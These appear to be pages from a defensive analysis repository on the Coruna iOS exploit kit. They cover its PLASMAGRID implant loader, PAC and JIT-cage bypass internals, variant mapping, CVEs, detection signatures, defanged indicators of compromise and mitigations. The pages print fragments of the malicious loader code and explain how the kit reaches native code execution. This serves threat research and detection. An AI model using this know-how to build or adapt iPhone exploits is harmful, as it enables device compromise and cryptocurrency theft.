A.ib, A.lb, A.ob, A.tb are JSC-internal object handles exposed by the JIT-cage helper. .Dt().yt() extracts their raw vtable function-pointer addresses, and N(..., A.sc.bind(A), k) signs them with the DA-keyed PAC primitive using discriminator k (the version-specific offset from gadget #2). These four values are vtable slots the static shellcode will overwrite to hijack JSC method dispatch — likely the entry path back into JS via JSEvaluateScript and the corresponding object class hooks.
dlsym resolution (lines 229–231)
const G = Q.th("/usr/lib/system/libdyld.dylib").wo("dlsym");
l = new DA(G >>> 0, G / 4294967296 >>> 0);
The bootstrap symbol. Once the implant has dlsym, every other native symbol it needs (the long list embedded in the line-49 ARM64 loader’s string table) follows by name — the kit only needs to seed the very first one through the Mach-O parser. Cross-reference: 05-macho-parser.md.
The final patcher call (line 235)
return 0 === this.oA.length && (B = 0),
I = CA(G, R, 0, E, 2 * this.YA.length, N, U, F, o, k, S, Y, V, c, H, x, s, q, J, l, L, z, y),
this.YA + I + this.oA + this.cA + this.KA + this.RA + this.GA;
CA is called with all 23 resolved values, and the return string I is assembled into the final blob: [ template_shellcode ] [ patched_constants_and_Mach-O ] [ field 1 ] [ C2 URL 1 ] [ page URL ] [ user-agent ] [ field 7 ]. This is exactly the layout described in Layout above, and it matches the addresses the patcher just wrote into the constants pool.
The module export (lines 238–241)
return r.lA = () => {
const A = globalThis.vKTo89.OLdwIx("356d2282845eafd8cf1ee2fbb2025044678d0108");
A.Zg(); // build the WebAssembly call gateway (T.Dn.caller)
A.Sg(); // build the RWX allocator and the JSC butterfly-overwrite gadgets (T.Dn.Fn, T.Dn.Gn)
return yA();
}, r;
The single export is r.lA, the launch entrypoint. It performs three steps:
A.Zg()— buildsT.Dn.caller, the WebAssembly-table call gateway. (See Support submodule below.)A.Sg()— buildsT.Dn.FnandT.Dn.Gn, the RWX allocator and the gadget container that uses JSC’s__ZN3JSC16jitOperationListEpatching to escape the JIT cage. This is what makesT.Dn.Fn.gg(size)(allocate executable page) andT.Dn.Fn.Ig(dst, src, len)(write into RWX) work despite the JIT cage normally preventing both.yA()— runs the orchestrator, which builds the patched shellcode, writes it into the freshly allocated page, and jumps into it.
By the time r.lA() returns, native code is running and the JS state machine is polling for next-stage requests.
Support submodule (356d2282…)
The line-3 inlined submodule is essential context. It is parsed in detail in analysis/exploits/lysnguv/clean/164349_sub_decoded.js. Its three key exports:
Sg() — RWX allocator and gadget builder
Constructs class ni (lines ~14–131 of the submodule), which:
- Builds a JIT-cage RWX allocator (
oI()) by walking_ZN3JSC16jitOperationListEand finding the operation entry whose first 8 bytes match(3532202541, 3609136205)— the same magic the main loader uses on line 205. This is the “second JIT operation list lookup” — it grabs a different field of the same entry to use as a hot RWX-allocation gadget. - Builds two gadget functions (
hI()andyI()) by writing precomputed ARM64 opcode arrays (the longUint32Arrayliterals atsubmodule:39and:54) into JSC executable memory and then verifying the writes round-tripped correctly. These are the JSC butterfly-overwrite primitive that the loader’sT.Dn.Fn.Igultimately calls. - The
LI()method (lines ~86–100) implements an encryption-and-fixup pass that XORs each instruction with a per-slot key derived from the JIT cage’s PAC discriminator. This is how the kit smuggles its shellcode template through the JIT cage’s content checks: every instruction is encrypted with a slot-specific key the kernel will undo when verifying.
After Sg() runs, T.Dn.Fn = new oi(i) and T.Dn.Gn = i are set, providing the loader with gg(size) (allocate) and Ig(dst, src, len) (write).
Zg() — WebAssembly call gateway (T.Dn.caller)
Builds a tiny WebAssembly module (visible as a 200-byte Uint8Array literal at submodule:176) that exports:
- A function table with two entries
- A function
f()that calls table slot 0 with eight 64-bit arguments - A function
o()that does the same and writes the return value into linear memory
The setup:
- Compile the WebAssembly module and instantiate it.
- If the JIT-cage primitive is available (
T.Dn.Yn !== nullandT.Dn.Hn.tfe3OF === true), read the globaljitCagePtrfrom JSC and PAC-sign it viaT.Dn.Yn.scwith discriminator 0 to get a known-good signed pointer (y/b). - Tier-up loop: call
f()100,000 times (catching exceptions) to force JSC to JIT-compile the wrapper. After tier-up, the JIT-compiled call site has a stable address that can be patched. - Define
caller.rg(target, ...args):- Pack up to 8 BigInt-style arguments into a 16-element
Uint32Array(low/high pairs). - Compute the address of the table slot in the WebAssembly instance via
c.ne(o); c.ee(addr + Hn.bvVGhS)(struct-offset arithmetic on the WASM instance). - Snapshot the current slot value (
C). - PAC-re-sign
targetusingT.Dn.Yn.Ic(b, target, g)(wheregis the discriminator0x24AD = 9389) — this produces a PAC tag the WASM table verifier will accept. - Write the re-signed
targetinto the table slot (n.Pn.Dr(u, target)). - Call
I(...args)— the WebAssembly-exported wrapper, which now routes totargetbecause the table slot points there. - Restore the original slot value in
finally. - Read the return value out of WebAssembly linear memory at offsets 0 and 4 and return it as a typed pointer.
- Pack up to 8 BigInt-style arguments into a 16-element
This gateway is the only place native code is ever invoked from JavaScript in the entire kit. Every call from T.Dn.caller.rg(...) flows through it.
fqMaGkNL identifier map
This page is written against the lysNguv variant. The fqMaGkNL loader is structurally identical (same line count, same control flow, same numeric constants, same embedded blobs) but uses different mangled identifiers for every variable, every method, and every imported module hash. The mapping below lets a reader follow the fqMaGkNL file (analysis/exploits/fqmagknl/clean/7f809f320823063b55f26ba0d29cf197e2e333a8.js) using the names this page uses for the lysNguv variant.
| Concept | lysNguv name | fqMaGkNL name |
|---|---|---|
| Module-loader global | globalThis.vKTo89 | globalThis.obChTK |
| Module-loader load method | OLdwIx(hash) | hPL3On(hash) |
| Module-loader register method (used on line 3 to inline the support submodule) | tI4mjA(hash, body) | (equivalent inline-register call on line 3) |
| Env / config / native primitives module | T = OLdwIx("6b57ca33…") | P = hPL3On("14669ca3…") |
| Typed-pointer arithmetic module | K = OLdwIx("1ff010bb…") | x = hPL3On("57620206…") |
| Support submodule (Sg/Zg/RWX/WASM-gateway) | OLdwIx("356d2282…") | hPL3On("35fceec3…") |
| 64-bit integer wrapper class | class DA | class MA |
| Patcher function (23 args) | function CA(...) | function CA(...) (same name, by coincidence; same body) |
| C2 state-machine builder | function xA() | function YA() |
| Injection orchestrator | function yA() | function yA() (same name) |
| Descriptor / per-injection patcher class | class YA | class hA (or similar — the constructor signature is identical) |
| Arbitrary read/write primitive container | T.Dn.Pn | P.zn.Xn |
| JIT-cage / PAC helper | T.Dn.Yn | P.zn.Mn |
RWX allocator (built by Sg) | T.Dn.Fn | P.zn.Fn (similar — varies) |
WebAssembly call gateway (built by Zg) | T.Dn.caller | P.zn.caller (same field name, different parent) |
| Mach-O parser entry point | T.ce() | P.cr() |
| iOS version integer | T.Dn.dn | P.zn.xn |
dn >= 170100 etc. version-gated branch | identical | identical |
JSC _ZN3JSC16jitOperationListE resolution | identical | identical |
Magic pair (3532202541, 3609136205) for the PAC seed | identical | identical |
PAC discriminator 0x4911 = 18705 | identical | identical |
| Support-submodule init calls (lines 239–240) | A.Zg(); A.Sg(); | A._d(); A.qd(); |
| Module export | r.lA = () => {…} | r.lA = () => {…} (same export name) |
| Embedded blob on line 3 | tI4mjA("356d2282…", "<base64>") | equivalent register call for 35fceec3… |
| Embedded blob on line 49 (ARM64 loader) | identical bytes — SHA-256 f3d958… | identical bytes — SHA-256 f3d958… |
| Embedded blob on line 169 (PLASMAGRID dylib) | identical bytes — SHA-256 99d082… (raw) / d9bb5c… (demarshaled) | identical |
The two-character JS identifiers (DA/MA, xA/YA, etc.) are produced by a randomized minifier-style renamer that runs over a single source tree per release. Mapping is straightforward by structural matching: the line numbers, the numeric constants, the iOS-version branches, the embedded base64 blobs, and the final shellcode layout are all bit-stable across the rename. Detection signatures should target the stable elements (numeric constants, library paths, embedded-blob hashes) — never the mangled identifiers.
Cross-references
- 01-jit-primitives.md —
addrof/fakeobjand the typed-pointer wrappers (K.Vt) this module consumes viaT.Dn.Pn - 02-ios17-svg-uaf.md — the iOS 17.x WebKit exploit that produces the read/write primitive and the JIT-cage helper for current-generation devices
- 03-ios15-jit-confusion.md — the iOS 15.x chain that reaches this module on older arm64e devices
- 04-ios11-13-legacy.md — the legacy chain that reaches this module on pre-PAC devices, where the entire
T.Dn.zn === truebranch is skipped - 05-macho-parser.md — the Mach-O / dyld-shared-cache parser this module calls via
T.ce()to resolvedlsymand to scan__TEXT/__textfor opcode-pattern gadgets - ../06-cve-mapping.md — CVE references for every entry chain
- ../08-iocs.md — on-server filenames, hashes, and network indicators
Detection signatures
Signatures that catch this module independent of identifier renaming:
- The mangled C++ symbol
_ZN3JSC16jitOperationListEappearing in JavaScript source. This is the JavaScriptCore JIT operation list — there is no benign reason for a webpage to reference it, and both the loader and the support submodule depend on resolving it. - The integer pair
(3532202541, 3609136205)(0xD2A1B7AD,0xD72A0EAD) appearing as a comparison in JavaScript source. This is the byte signature of the specific JSC operation handler the kit uses as its PAC-sign seed; it appears in both the main loader and the support submodule. - The string
0x4911/18705as a PAC discriminator constant, in conjunction with calls into aoe/scfamily of methods on a JSC-helper object. - An iOS-version-gated chain of
dn >= 170100 / >= 170000 / >= 160400 / >= 160000that selects between five distinct dyld-shared-cache library paths and 3-element opcode arrays. This is a near-perfect signature for version-gated gadget scanning. - The dyld shared cache library paths
HomeSharing.framework/HomeSharing,CoreML.framework/CoreML,MediaToolbox.framework/MediaToolbox,PassKitCore.framework/PassKitCore,AppleMediaServices.framework/AppleMediaServices,SpringBoard.framework/SpringBoardenumerated together as a literal array of strings in inline JS. None of these are normally reachable from web content. - The mangled symbol
_ZN3JSC16jitOperationListEtogether withjitCagePtr— both referenced from inline JS is essentially conclusive. - A
WebAssembly.Moduleconstructed from a hard-codedUint8Arrayliteral whose bytes start with0, 97, 115, 109, 1, 0, 0, 0(the WebAssembly magic\0asm) inside a string-deobfuscation context. This is the support submodule’sZg()building the call gateway. - The
Uint8Arrayliteral containing3573751839and3573752703as repeated tail-padding values inside a long opcode table. These are the encrypted-instruction sentinel constants the JSC butterfly-overwrite gadgets use. - A 16 MiB
ArrayBufferallocated by JavaScript and immediately followed by a butterfly-length-overwrite read–modify–write sequence on its backing storage offset. This is the shared-buffer setup at the top ofxA(). - A long base64 literal whose decoded contents start with
fd 7b bf a9 fd 03 00 91(ARM64 function prologue) and contain the cleartext stringsdlsym,_objc_patch_root_of_class,_pthread_create,JSEvaluateScript,mach_make_memory_entry,vm_protect,_os_log_actual,__auth_stubs,__objc_stubs, and/usr/lib/system/libdyld.dylib— the line-49 embedded ARM64 second-stage loader. SHA-256 of the decoded blob:f3d958350be201eda4bd226537809b68747709ee038263bede953e42bdde0800. - A second base64 literal that, after
b[::2](every-other-byte) demarshal, starts withcf fa ed fe 0c 00 00 01— the 64-bit ARM64 Mach-O magic and cputype — and is exactly 14,954 bytes long: the line-169 PLASMAGRID native implant. SHA-256 of the demarshaled Mach-O:d9bb5cb9da4827af9418a6526a63b5025774074d71ecd893d5843a88b25ab988. SHA-256 of the raw base64-decoded form (29,908 bytes, before demarshal):99d08243903b744261ecc1c3cbcb3b9b78d9782121780584b1380f53d5628414. - Network signature: the on-server filename
2839f4ff4e23733e6ba132e639ce96d36d23c6b6.js(lysNguv) /8835419f53fa3b270c8928d53f012d4c28b29ea4.js(fqMaGkNL).
A content-inspection proxy that hashes inline <script> bodies and compares to known-bad hashes is the highest-fidelity defense. The two giant base64 blobs on lines 49 and 169 are bit-stable across captured copies, so even an SHA-256 of those substrings is enough to flag this module without false positives.
Defensive notes
- The Mach-O implant payload (line 49) and the ARM64 shellcode template (line 169) are bit-identical between the lysNguv and fqMaGkNL variants. Operators evidently maintain a single source for the native components and re-wrap them in a different JavaScript shell per delivery channel.
- iOS 17.3 or later patches the iOS 17.x chain that reaches this module (CVE-2024-23222 and the chained WebKit issues); older entry chains rely on CVEs patched in iOS 16.6 or earlier. Keeping iOS up to date blocks the path to this module on every supported device.
- Lockdown Mode disables the WebAssembly surface area required by
Zg()’s call gateway, the JIT optimization tier required by the support submodule’s tier-up loop, and the JIT-cage primitive (T.Dn.Yn) the patcher depends on. With Lockdown Mode enabled, even if a chain produces a read/write primitive, this module cannot complete native injection on arm64e devices. - Subsequent PLASMAGRID behavior — once native code runs, it performs the operations described in 01-overview.md: masquerades as
com.apple.assistd, injects into thepowerddaemon, downloads wallet-targeting modules, scans Apple Notes and Memos for BIP39 seed phrases, extracts data from MetaMask / Phantom / Exodus / BitKeep / Trust Wallet / Uniswap, decodes QR codes from photos, and exfiltrates over HTTPS+AES with alazarus-seeded DGA fallback. The native implant itself is out of scope for this repository — the extracted ARM64 binary is a separate artifact and is not analyzed here. - Forensic indicator: any non-Apple library loaded into the
powerdprocess, or any process registering itself ascom.apple.assistdwithout a valid Apple code signature, is high-fidelity evidence of post-exploitation by a kit of this family. iVerify and similar iOS telemetry products can detect both. - Research note: the support submodule (
356d2282…in lysNguv,35fceec3…in fqMaGkNL) is inlined into the loader on line 3 rather than fetched separately. The Mach-O parser is reached indirectly through the env-config module’sT.ce()(lysNguv) /P.cr()(fqMaGkNL); in lysNguv it lives in its own module (81502427…, 399 lines), in fqMaGkNL it is bundled inside a larger helper file (d11d34e4…, 1069 lines). Neither implant-loader file contains Mach-O parsing code itself. This packaging asymmetry is an operational fingerprint useful for variant attribution but does not affect the loader’s behavior.
CVE Mapping
This page maps each exploit module in the Coruna kit to its corresponding CVE (where one has been publicly assigned). CVE references are live-linked to NVD.
CVEs confirmed in the Coruna kit
From GTIG and the CISA Known Exploited Vulnerabilities (KEV) catalog.
| CVE | Type | Component | Target iOS | Status | Module in this repo |
|---|---|---|---|---|---|
| CVE-2024-23222 | Type Confusion | WebKit | iOS 17.2-17.2.1 | Patched in iOS 17.3 (January 2024). Zero-day in-the-wild. CISA KEV. | dbfd6e84... (lysNguv) / d11d34e4... (fqMaGkNL) |
| CVE-2023-43000 | Use-After-Free | WebKit | iOS < 16.6 | Patched in Safari 16.6 / iOS 16.6. Added to CISA KEV on 5 Mar 2026. | d6cb72f5... (lysNguv) / 57cb8c64... (fqMaGkNL) |
| CVE-2022-48503 | WebKit RCE | WebKit | iOS 15.x-16.x | CISA KEV since October 2025. | d6cb72f5... (lysNguv) |
| CVE-2021-30952 | Integer Overflow | WebKit/JSC | iOS < 15.2 | Patched in iOS 15.2 (December 2021). CISA KEV on 5 Mar 2026. | 8dbfa3fd... (lysNguv) |
| CVE-2023-41974 | Use-After-Free | iOS kernel | iOS < 17.0 | Privilege escalation. Patched in iOS 17. CISA KEV on 5 Mar 2026. | 164349160... (lysNguv) post-exploit |
Related CVEs (PAC/JIT bypass techniques)
These CVEs are not directly exploited by the shipped modules but represent the technique families used in the post-exploit phase.
| CVE | Type | Component | Relevance |
|---|---|---|---|
| CVE-2024-27834 | PAC Bypass | WebKit JIT | PAC bypass via WASM stub signing manipulation (PACIB). Same technique observed in 164349160... |
| CVE-2023-38606 | Kernel bypass | XNU | Used in Operation Triangulation. Technique reused in Coruna chains |
| CVE-2023-32434 | Integer Overflow | Kernel | Used in Operation Triangulation. Reused in Coruna chains for iOS 16.x |
Exploits without public CVE
Per GTIG, the Coruna kit includes both publicly-disclosed CVEs and vulnerabilities without assigned identifiers. The following techniques observed in the cleaned modules do not map to a known individual CVE:
| Module | Technique | Notes |
|---|---|---|
SVG feConvolveMatrix + OfflineAudioContext trigger | UAF via racing decodeAudioData with corrupted audio + reclaim via Intl.NumberFormat | May be a non-public variant or a silent Apple patch |
JIT type confusion via Reflect.construct + property deletion | JIT shape confusion with 36+ warming loops | Widespread pattern — the specific variant may not have an individual CVE |
| Mach-O parser with in-memory dyld trie walking | Post-exploit tooling | Not a vulnerability — post-exploitation technique |
Patch timeline
For defenders: any iOS version 17.3 or later is immune to the full exploit chain documented here. Partial immunity exists at earlier versions:
| iOS version | Protects against |
|---|---|
| 15.2 | CVE-2021-30952 (legacy chain no longer works) |
| 16.6 | CVE-2023-43000 (one of the iOS 15.x-16.x modules) |
| 17.0 | CVE-2023-41974 (post-exploit privilege escalation) |
| 17.3 (January 2024) | CVE-2024-23222 — full chain defeated |
See 09-defenses.md for additional mitigations.
Variants
The Coruna kit was observed in two parallel variants during the UNC6691 campaign, running on independent infrastructure with distinct obfuscation. Both variants implement the same exploit chains — the operators maintain parallel deployments for redundancy.
Side-by-side comparison
| Property | lysNguv | fqMaGkNL |
|---|---|---|
| Loader object | globalThis.vKTo89 | globalThis.obChTK |
| Hash derivation key | cf40de81867d2397 | cecd08aa6ff548c2 |
| Helper prefix | lysNgu* | fqMaGkN* |
| Loader script size | 47,469 bytes | 50,732 bytes |
| Loader MD5 | 8717d5ead350dd634cc086dd750b055a | ccff3f70539f09a83decfb2cbd61acf0 |
| Google Analytics | None | G-LKHD0572ES |
| Delivery server | b27[.]icu | sadjd[.]mijieqi[.]cn |
| Remote module count | 6 | 4 |
| Sites serving this variant | 19 | 4 |
Sites per variant
lysNguv variant (19 sites)
b27[.]icu, 26a[.]online, 4kgame[.]us, 4u[.]game, 7fun[.]icu, 7p[.]game, 7uspin[.]us,
98a[.]online, anygg[.]liquorfight[.]com, cy8[.]top, h4k[.]icu, k96[.]icu, n49[.]top,
seven7[.]to, seven7[.]vip, share[.]4u[.]game, spin7[.]icu, t7c[.]icu, y4w[.]icu
All 19 sites served a byte-identical loader (MD5 8717d5ead350dd634cc086dd750b055a).
fqMaGkNL variant (4 sites)
dbgopaxl[.]com, iphonex[.]mjdqw[.]cn, sadjd[.]mijieqi[.]cn, w2a315[.]tubeluck[.]com
Sites without an active exploit
7ff[.]online Serves the gambling app directly
binancealliancesintro[.]com No JavaScript found
res54allb[.]xn--xkrsa0078bd6d[.]com Unreachable
Key differences
1. Module count: lysNguv ships more
| Module role | lysNguv hash | fqMaGkNL hash |
|---|---|---|
| JIT primitives (addrof/fakeobj) | 166411bd... | e3b6ba10... |
| iOS 15.x JIT type confusion | d6cb72f5... | 57cb8c64... |
| iOS 17.x SVG feConvolveMatrix UAF | dbfd6e84... | d11d34e4... |
| Post-exploit implant loader (PLASMAGRID) | 164349160... | 7f809f32... |
| Mach-O parser / dyld resolver | 81502427... | (bundled into implant) |
| iOS 11-13 legacy exploit | 8dbfa3fd... | (not shipped) |
The fqMaGkNL variant ships only 4 modules versus 6 in lysNguv. The Mach-O parser is likely bundled into the implant loader, and the iOS 11-13 legacy exploit is dropped entirely — iOS 13 users are presumably not worth targeting.
2. Google Analytics
The fqMaGkNL variant includes Google Analytics tracking (G-LKHD0572ES), probably for measuring exploit delivery success across its 4 sites. lysNguv has no analytics.
3. Cross-variant equivalence
Files at equivalent roles have identical file sizes after cleaning but different MD5 hashes. The deobfuscation pipeline resolves XOR strings and base64 but does NOT normalize variable identifiers — each variant randomizes symbol names differently.
Example: exploits/lysnguv/clean/166411bd...js and exploits/fqmagknl/clean/e3b6ba10...js are both 40,867 bytes but differ in thousands of characters due to symbol randomization.
The underlying exploit logic is structurally identical. Detection rules written against one variant will not automatically match the other.
4. Shared shellcode
Despite the different obfuscation, the extracted ARM64 shellcode payloads (31,308 bytes) inside the PLASMAGRID implant loader are byte-identical between variants. This proves the operators share a common upstream native codebase and only randomize the JavaScript layer per variant.
Why two variants?
The existence of two parallel variants with different obfuscation layers, module hashes, hash derivation keys, delivery servers, and tracking mechanisms suggests the operators maintain redundant exploit networks for:
- Resilience: if one delivery server is taken down, the other continues operating
- Segmentation: different site clusters may target different victim populations
- Operational security: separating infrastructure limits the blast radius of takedowns
Third variant (LJst0s)
A third variant was discovered in March 2026 on remotexxxyyy.com, using globalThis.LJst0s as the loader object and hash key 920ffdb3effe9fe2. It ships 15 modules (versus 6 and 4) and serves them as encrypted binary blobs rather than plain JavaScript. Only 2 of the 15 modules were recovered before the server stopped responding.
Analysis of the third variant is not included in this repository. It will be added as a separate directory (analysis/exploits/ljst0s/) once the encrypted modules are decoded.
Indicators of Compromise
Network, file, and tracking indicators for the Coruna UNC6691 campaign. All values below were active at the time of capture. Malicious URLs are listed as plain text (not linked).
Machine-readable form: the same indicators are available as a flat CSV in docs/iocs.csv for SOC ingestion (watchlists, SIEM enrichment, DNS blocklists). The CSV schema is type,value,variant,role,first_seen,description,reference. Both forms are authoritative; the markdown tables below are meant for reading, the CSV for automation.
Network infrastructure
Exploit delivery servers
| Variant | Server | Role |
|---|---|---|
| lysNguv | b27[.]icu | Distributes the 6 lysNguv exploit modules |
| fqMaGkNL | sadjd[.]mijieqi[.]cn | Distributes the 4 fqMaGkNL exploit modules |
Gambling platform API endpoints
| Host | Role |
|---|---|
game[.]4u[.]game | Gambling platform backend |
game[.]4k[.]game | Gambling platform backend |
game[.]7p[.]game | Gambling platform backend |
Tracking and attribution
| Host | Role |
|---|---|
adjust[.]7uspin[.]us | Adjust attribution tracking proxy |
api[.]bytegle[.]site/bigoad/trackingevent | Bigo Ads tracking |
Loader URLs (26 sites served the exploit kit)
Sites serving the lysNguv variant (19)
https://26a[.]online/group.html
https://4kgame[.]us/group.html
https://4u[.]game/group.html
https://7fun[.]icu/group.html
https://7p[.]game/group.html
https://7uspin[.]us/group.html
https://98a[.]online/group.html
https://anygg[.]liquorfight[.]com/88k4ez/group.html
https://b27[.]icu/group.html
https://cy8[.]top/group.html
https://h4k[.]icu/group.html
https://k96[.]icu/group.html
https://n49[.]top/group.html
https://seven7[.]to/group.html
https://seven7[.]vip/group.html
https://share[.]4u[.]game/group.html
https://spin7[.]icu/group.html
https://t7c[.]icu/group.html
https://y4w[.]icu/group.html
Sites serving the fqMaGkNL variant (4)
https://dbgopaxl[.]com/static/goindex/tuiliu/group.html
https://iphonex[.]mjdqw[.]cn/tuiliu/group.html
https://sadjd[.]mijieqi[.]cn/group.html
https://w2a315[.]tubeluck[.]com/static/goindex/tuiliu/group.html
Sites without active exploit (3)
https://7ff[.]online/group.html Serves the gambling app directly
https://binancealliancesintro[.]com/group.html No JavaScript found
https://res54allb[.]xn--xkrsa0078bd6d[.]com/group.html Unreachable
Tracking identifiers
| Type | Value |
|---|---|
| Facebook Pixel | 1218109022991532 |
| Google Analytics | G-LKHD0572ES (fqMaGkNL variant only) |
| Adjust Token | jolwhisebbb4, 31jlqu22wao0 |
| App Store lure | apps.apple.com/us/app/paradox8-card-shift/id6756360614 |
File hashes
Loader script
| Variant | MD5 | Size |
|---|---|---|
| lysNguv | 8717d5ead350dd634cc086dd750b055a | 47,469 bytes |
| fqMaGkNL | ccff3f70539f09a83decfb2cbd61acf0 | 50,732 bytes |
lysNguv exploit modules (hash derivation key: cf40de81867d2397)
| SHA1 hash | Role | On-server filename |
|---|---|---|
166411bd90ee39aed912bd49af8d86831b686337 | JIT primitives (addrof/fakeobj) | b903659316e881e624062869c4cf4066d7886c28.js |
d6cb72f5888b2ec1282b584155490e3b6e90a977 | iOS 15.x JIT exploit | 7994d095b1a601253c206c45c120a80c4c0f3736.js |
8dbfa3fdd44e287d57c55e74a97f526120ffd8f0 | iOS 11-13 legacy exploit | 9e7e6ec78463c5e6bdee39e9f3f33d6fa296ea72.js |
dbfd6e840218865cb2269e6b7ed7d10ea9f22f93 | iOS 17.x SVG feConvolveMatrix UAF | 8d646979cf7f3e5e33a85024b6cf2bc81a6c5812.js |
81502427ce4522c788a753600b04c8c9e13ac82c | Mach-O parser / dyld resolver | feeee5ddaf2659ba86423519b13de879f59b326d.js |
164349160d3d35d83bfdcc001ccd23cd1b3b75d5 | PLASMAGRID implant loader | 2839f4ff4e23733e6ba132e639ce96d36d23c6b6.js |
On-server filenames are derived as: sha256("cf40de81867d2397" + <SHA1>)[0:40] + ".js"
fqMaGkNL exploit modules (hash derivation key: cecd08aa6ff548c2)
| SHA1 hash | Role | On-server filename |
|---|---|---|
e3b6ba10484875fabaed84076774a54b87752b8a | JIT primitives | 6beef463953ff422511395b79735ec990bed65f4.js |
57cb8c6431c5efe203f5bfa5a1a83f705cb350b8 | iOS 15.x JIT exploit | 8c4451cf1258f9a8d6a8af27864f111fd69a0e99.js |
d11d34e4d96a4c0539e441d861c5783db8a1c6e9 | iOS 17.x SVG feConvolveMatrix UAF and Mach-O parser / dyld resolver bundled together (1069 lines) | ff4f3cb4711fb364b52de5ab04a8f83140466f89.js |
7f809f320823063b55f26ba0d29cf197e2e333a8 | PLASMAGRID implant loader | 8835419f53fa3b270c8928d53f012d4c28b29ea4.js |
The fqMaGkNL variant ships only 4 standalone modules versus lysNguv’s 6. The reductions are:
- The iOS 11–13 legacy chain is not present in fqMaGkNL (the variant does not target pre-iOS-15 devices).
- The Mach-O parser / dyld resolver is bundled inside
d11d34e4…alongside the iOS 17.x exploit, rather than shipped as its own module. In lysNguv it is the standalone81502427…module. - The implant-loader’s support submodule is inlined into the loader file in both variants (line 3 of the loader, registered via
tI4mjA(hash, body)/ equivalent).
On-server filenames are derived as: sha256("cecd08aa6ff548c2" + <SHA1>)[0:40] + ".js"
Embedded modules (both variants)
Embedded modules live inside the loader script as base64 blobs. They are decoded at runtime and registered in the loader’s module cache. See analysis/loader/<variant>/embedded-modules/ for the cleaned versions.
| Role | lysNguv SHA1 | fqMaGkNL SHA1 |
|---|---|---|
| Math and WebAssembly utilities | 1ff010bb3e857e2b0383f1d9a1cf9f54e321fbb0 | 57620206d62079baad0e57e6d9ec93120c0f5247 |
| Fingerprinting and version gates | 6b57ca3347345883898400ea4318af3b9aa1dc5c | 14669ca3b1519ba2a8f40be287f646d4d7593eb0 |
Implant-loader support submodule (RWX allocator, JSC butterfly-overwrite gadgets, WASM call gateway — Sg/Zg) | 356d2282845eafd8cf1ee2fbb2025044678d0108 | 35fceec39ceadf8b93ba3a29fe4643cb25994558 |
The support submodule above is not fetched over the network — it is inlined into the implant-loader file on line 3 via a tI4mjA(hash, body) (lysNguv) / equivalent (fqMaGkNL) call that registers it under its hash so subsequent OLdwIx(hash) lookups can retrieve it.
PLASMAGRID native payload (embedded inside the implant loader)
The implant-loader file contains two large base64 literals that decode to the native components of PLASMAGRID. Both are bit-identical between the lysNguv and fqMaGkNL variants — operators evidently maintain a single source for the native artifacts and only re-wrap them in different JavaScript shells.
| Component | Location | Decoded size | SHA-256 |
|---|---|---|---|
Second-stage ARM64 loader (raw position-independent code; embedded inside function CA(...) as the final argument to the AA(...) patcher) | implant loader, line 49, tail of the line | 31,308 bytes | f3d958350be201eda4bd226537809b68747709ee038263bede953e42bdde0800 |
PLASMAGRID Mach-O dylib, raw form (after gA.Jt base64 decode but before gA.Kt UTF-16 widening) | implant loader, line 169, inside the class YA constructor’s this.YA = … initializer | 29,908 bytes (UTF-16-encoded form held in JS) | 99d08243903b744261ecc1c3cbcb3b9b78d9782121780584b1380f53d5628414 |
PLASMAGRID Mach-O dylib, demarshaled (the actual 64-bit ARM64 Mach-O — magic cf fa ed fe, cputype 0x0100000c) | derived from the line-169 blob via every-other-byte (b[::2]) extraction | 14,954 bytes | d9bb5cb9da4827af9418a6526a63b5025774074d71ecd893d5843a88b25ab988 |
The line-49 ARM64 loader is what maps the line-169 dylib into the target process at runtime. The line-49 blob is not itself a Mach-O file; it starts with the standard ARM64 function prologue (fd 7b bf a9 fd 03 00 91 = stp x29, x30, [sp, #-0x10]! / mov x29, sp) and embeds a C-string table near the end with all the symbol names it resolves via dlsym (dlopen, _pthread_create, JSEvaluateScript, _objc_patch_root_of_class, vm_protect, mach_make_memory_entry, _os_log_actual, etc.).
A defender can compute these hashes from a captured loader file as follows:
# Line-49 ARM64 loader
awk 'NR==49' <loader.js> | grep -oP '"[A-Za-z0-9+/=]{200,}"' \
| tr -d '"' | base64 -d | sha256sum
# Line-169 PLASMAGRID Mach-O (raw form)
awk 'NR==169' <loader.js> | grep -oP '"[A-Za-z0-9+/=]{200,}"' \
| tr -d '"' | base64 -d | sha256sum
# Line-169 PLASMAGRID Mach-O (demarshaled — the actual dylib)
awk 'NR==169' <loader.js> | grep -oP '"[A-Za-z0-9+/=]{200,}"' \
| tr -d '"' | base64 -d | python3 -c \
'import sys,hashlib; print(hashlib.sha256(sys.stdin.buffer.read()[::2]).hexdigest())'
DGA fallback
The PLASMAGRID implant uses a Domain Generation Algorithm seeded with the string "lazarus" to generate fallback C2 domains. Generated domains are 15 characters long plus the .xyz TLD. The exact algorithm lives in the ARM64 shellcode and has not been fully reproduced — candidate domain lists can be generated by brute-forcing plausible strategies.
Detection signature hints
- Any HTTP request to
/group.htmlon a site with no legitimate business purpose - Any inline
<script>tag with MD58717d5ead350dd634cc086dd750b055a - Any request pattern matching
sha256("cf40de81867d2397" + *)[0:40] + ".js"on the delivery servers - Any process loading
/usr/lib/system/libdyld.dylibviadlsymfrom within a Safari content process - Any injection into
powerdby a non-system binary
Defenses
This page documents the mitigations and detection strategies for the Coruna kit.
Primary mitigation: update iOS
Update iOS to 17.3 or later. This single action defeats the entire exploit chain documented in this repository.
- iOS 17.3 (January 2024) patched CVE-2024-23222, which is the only working chain against any currently-supported iPhone
- Earlier chains (for iOS 11-13, 15.x, 16.x) do not apply to iPhones still receiving updates from Apple
Secondary mitigation: Lockdown Mode
Enable Lockdown Mode on iOS 16 or later. The Coruna kit explicitly checks for Lockdown Mode and aborts if detected. Lockdown Mode also disables:
- JIT compilation in Safari (breaks all three exploit chains in this kit)
- WebAssembly in most contexts (breaks the JIT cage escape)
- Message link previews (reduces exposure to link-based delivery)
- Configuration profiles (hardens against persistence)
Lockdown Mode is a defensive trade-off — it breaks some legitimate functionality — but for high-risk targets (journalists, activists, executives, cryptocurrency holders) it is the strongest mitigation short of not owning an iPhone.
How to enable:
- Settings > Privacy and Security > Lockdown Mode
- Tap “Turn On Lockdown Mode”
- Restart the device
Behavioral mitigations
Do not open suspicious links on iPhone
- Be skeptical of gambling or cryptocurrency links shared via Telegram, WhatsApp, or email
- Do not trust a site just because it uses a branded name (
binancealliancesintro[.]comis not Binance) - Verify URLs carefully — watch for Punycode/IDN lookalikes (
xn--xkrsa0078bd6d[.]com) - If you must visit a suspicious link, use a sacrificial device, not your primary phone
Separate high-value assets from your browsing device
